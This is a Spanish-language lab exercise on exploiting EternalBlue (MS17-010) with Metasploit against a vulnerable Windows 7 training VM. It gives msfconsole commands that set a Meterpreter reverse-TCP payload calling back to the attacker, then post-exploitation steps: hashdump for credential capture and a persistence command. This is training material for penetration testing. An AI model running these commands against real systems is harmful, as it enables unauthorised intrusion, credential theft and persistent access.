**EJERCICIOS METASPLOIT AVANZADO**

**Prerrequisitos**

**Kali Linux**

**Windows 7 - Windowsploitable**

**Ejercicio**

**Vulnerabilidad: EternalBlue**

**Ficha de la vulnerabilidad:**

**¿Qué software afecta?**

**¿Qué es ese software? (Wikipedia y demás webs)**

**Descripción de la vulnerabilidad**

**Versiones de software que afectan**

**Puertos que lo utilizan**

**Módulos de metasploit relacionados**

**Explotar las vulnerabilidades:**

**Buscar en exploitdb el exploit correspondiente**

**Elegir payload de meterpreter**

**Explotarlo usando Metasploit**

**Llevar a cabo postexplotación (multi/handler - Payload - Job)**

### **Ficha de la vulnerabilidad EternalBlue**

#### **¿Qué software afecta?**

EternalBlue afecta principalmente al servicio de SMB (Server Message Block) en los sistemas operativos Windows. Las versiones de Windows afectadas incluyen:

* Windows XP
* Windows Vista
* Windows 7
* Windows 8
* Windows 10 (versiones anteriores a la corrección)
* Windows Server 2003
* Windows Server 2008
* Windows Server 2012
* Windows Server 2016

#### **¿Qué es ese software?**

SMB (Server Message Block) es un protocolo de red que permite compartir archivos, impresoras y otros recursos entre nodos en una red. Wikipedia ofrece una descripción más detallada del [protocolo SMB](https://es.wikipedia.org/wiki/Server_Message_Block).

#### **Descripción de la vulnerabilidad**

EternalBlue es una vulnerabilidad que permite la ejecución remota de código en máquinas que ejecutan versiones vulnerables del servicio SMBv1. Fue explotada por el exploit desarrollado por la Agencia de Seguridad Nacional de los Estados Unidos (NSA) y luego filtrado por el grupo Shadow Brokers en 2017. Esta vulnerabilidad permite a un atacante ejecutar código arbitrario en el sistema afectado sin necesidad de autenticación.

#### **Versiones de software que afectan**

Las versiones de Windows afectadas incluyen aquellas que utilizan SMBv1 y no han aplicado el parche de seguridad lanzado por Microsoft en marzo de 2017 (MS17-010).

#### **Puertos que lo utilizan**

El protocolo SMB utiliza los puertos TCP 445 y TCP 139. EternalBlue específicamente se enfoca en el puerto TCP 445.

#### **Módulos de Metasploit relacionados**

* exploit/windows/smb/ms17\_010\_eternalblue
* exploit/windows/smb/ms17\_010\_psexec

### **Explotar las vulnerabilidades**

#### **Buscar en exploitdb el exploit correspondiente**

Exploitdb tiene información sobre los exploits disponibles para EternalBlue. Un ejemplo es el exploit con ID 41891, que detalla el uso de ms17\_010\_eternalblue.

#### **Elegir payload de Meterpreter**

Un payload comúnmente usado es windows/x64/meterpreter/reverse\_tcp.

#### **Explotarlo usando Metasploit**

**Iniciar Metasploit:**  
msfconsole

**Configurar el exploit:**  
use exploit/windows/smb/ms17\_010\_eternalblue

set RHOST <IP del objetivo>

set RPORT 445

set PAYLOAD windows/x64/meterpreter/reverse\_tcp

set LHOST <tu IP>

set LPORT <puerto de escucha>

exploit

**Ejecutar el exploit:** Al ejecutar exploit, Metasploit intentará aprovechar la vulnerabilidad para cargar el payload en la máquina objetivo.

#### **Llevar a cabo postexplotación**

**Configurar el multi/handler:** Si el exploit no establece automáticamente una sesión, configurar un listener para recibir la conexión del payload.  
  
use exploit/multi/handler

set PAYLOAD windows/x64/meterpreter/reverse\_tcp

set LHOST <tu IP>

set LPORT <puerto de escucha>

exploit

**Interacción con la sesión Meterpreter:** Una vez que la sesión está establecida, puedes interactuar con el sistema comprometido usando varios comandos de Meterpreter.  
  
sessions -i <ID de la sesión>

**Tareas comunes de postexplotación:**

**Obtener información del sistema:**  
sysinfo

**Navegar por el sistema de archivos:**  
ls

cd <directorio>

**Capturar credenciales:**  
hashdump

**Mantener el acceso:**  
persistence -U -i 5 -p 8080 -r <tu IP>

